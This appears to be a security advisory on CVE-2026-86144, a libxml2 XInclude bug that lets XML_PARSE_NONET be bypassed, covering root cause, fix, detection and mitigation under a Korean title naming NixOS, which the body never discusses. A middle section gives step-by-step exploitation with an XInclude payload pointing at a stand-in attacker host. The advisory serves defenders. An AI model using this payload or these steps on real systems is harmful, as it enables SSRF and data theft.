CVE-2026-86144: 
NixOS 취약성 분석 및 완화

CVE-2026-86144 is a security feature bypass vulnerability in libxml2's XInclude implementation where xmlXIncludeProcess and xmlXIncludeProcessTree fail to propagate parseFlags to sub-contexts. This omission allows security-relevant flags such as XML_PARSE_NONET to be silently bypassed, potentially enabling XML external entity (XXE) injection, Server-Side Request Forgery (SSRF), or denial of service when a custom resource loader accesses the internet. All libxml2 versions before 2.15.4 are affected. The vulnerability was published on September 5, 2026, and carries a CVSS v3.1 base score of 5.6 (Medium) (Github Advisory, Red Hat Bugzilla).

The root cause is classified under CWE-669 (Incorrect Resource Transfer Between Spheres) and CWE-611 (Improper Restriction of XML External Entity Reference). In the vulnerable code, xmlXIncludeProcess() called xmlXIncludeProcessFlags(doc, 0) and xmlXIncludeProcessTree() called xmlXIncludeProcessTreeFlags(tree, 0), hardcoding a flags value of 0 instead of inheriting the document's parseFlags. The fix, applied in commit b63cd51, changes these calls to pass doc->parseFlags and tree->doc->parseFlags respectively, and also adds xmlCtxtUseOptions(pctxt, ctxt->parseFlags) in xmlXIncludeLoadTxt to ensure text-inclusion contexts also respect the flags. Exploitation requires a local attacker to supply a crafted XML document with XInclude directives referencing attacker-controlled internet resources, and the application must use a custom resource loader without independently enforcing network restrictions (libxml2 commit, Github Advisory).

Successful exploitation can result in limited confidentiality and integrity compromise as well as availability disruption. An attacker who can supply a malicious XML document to an application using libxml2's XInclude functionality may bypass the XML_PARSE_NONET flag to trigger outbound network requests, potentially leaking internal network topology or sensitive data via SSRF, inducing XXE injection to read local files, or causing denial of service by forcing the parser to fetch intentionally slow attacker-controlled resources. The CVSS scope is marked as "Changed," indicating that the impact can extend beyond the vulnerable component itself (Github Advisory, Red Hat Bugzilla).

No public proof-of-concept exploit code exists, and there is no evidence of in-the-wild exploitation at this time (Github Advisory). The NVD SSVC assessment rates exploitation as "none" and automation as "no," reflecting the high attack complexity and the requirement for specific application configurations involving custom resource loaders. The EPSS score is approximately 0.161% (6th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Detection is available via Nessus plugin 343103 (Tenable).

1. Identify a target application: Find an application that uses libxml2 < 2.15.4 with XInclude processing enabled (XML_PARSE_XINCLUDE) and a custom resource loader, where the caller relies on XML_PARSE_NONET to prevent network access.
2. Craft a malicious XML document: Create an XML file containing an XInclude directive referencing an attacker-controlled internet resource, e.g.:

<?xml version="1.0"?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="http://attacker.example.com/payload.xml" parse="xml"/>
</root>

3. Supply the document to the target: Deliver the crafted XML to the application through any available input channel (file upload, API endpoint, etc.) that triggers XInclude processing via xmlXIncludeProcess() or xmlXIncludeProcessTree().
4. Trigger flag bypass: Because parseFlags (including XML_PARSE_NONET) are not propagated to the XInclude sub-context, the custom resource loader proceeds to fetch the attacker-controlled URL despite the flag being set on the parent document.
5. Achieve objective: Depending on the resource loader and application behavior, the attacker can exfiltrate data via SSRF, inject external XML entities to read local files, or cause a DoS by serving an intentionally slow response that stalls the parser (libxml2 commit, Github Advisory).

• Network: Unexpected outbound HTTP/HTTPS connections from the application process to external or unusual IP addresses/domains, particularly during XML parsing operations; DNS lookups for attacker-controlled domains initiated by the libxml2 process.
• Logs: Application or web server logs showing XML parsing errors referencing external URLs (e.g., I/O error : failed to load "http://..." : Attempt to load network entity); unusual latency spikes in XML processing correlated with external network requests.
• Process: Unexpected network socket activity from processes that handle XML parsing (e.g., a document processing service making outbound connections it should not); child processes or threads stalled on network I/O during XInclude resolution.

Upgrade libxml2 to version 2.15.4 or later, which fixes the issue by correctly propagating parseFlags in xmlXIncludeProcess and xmlXIncludeProcessTree (libxml2 commit, Github Advisory). As a workaround for applications that cannot immediately upgrade, developers should explicitly pass the desired flags using xmlXIncludeProcessFlags() or xmlXIncludeProcessTreeFlags() instead of the unflagged wrapper functions, ensuring XML_PARSE_NONET and other security flags are explicitly supplied. Additionally, applications should enforce network-level egress filtering to prevent the XML parsing process from making unauthorized outbound connections, and should audit any custom resource loaders to independently enforce network access restrictions (Red Hat Bugzilla).

Red Hat has tracked the vulnerability in their Bugzilla system with medium severity and assigned it to their Product Security DevOps Team, with multiple product teams listed as dependents (Red Hat Bugzilla). Microsoft included the CVE in their September 2026 Patch Tuesday advisory, indicating it affects Microsoft products that bundle libxml2 (Microsoft). The vulnerability was also discussed in the oss-security mailing list shortly after disclosure (oss-sec).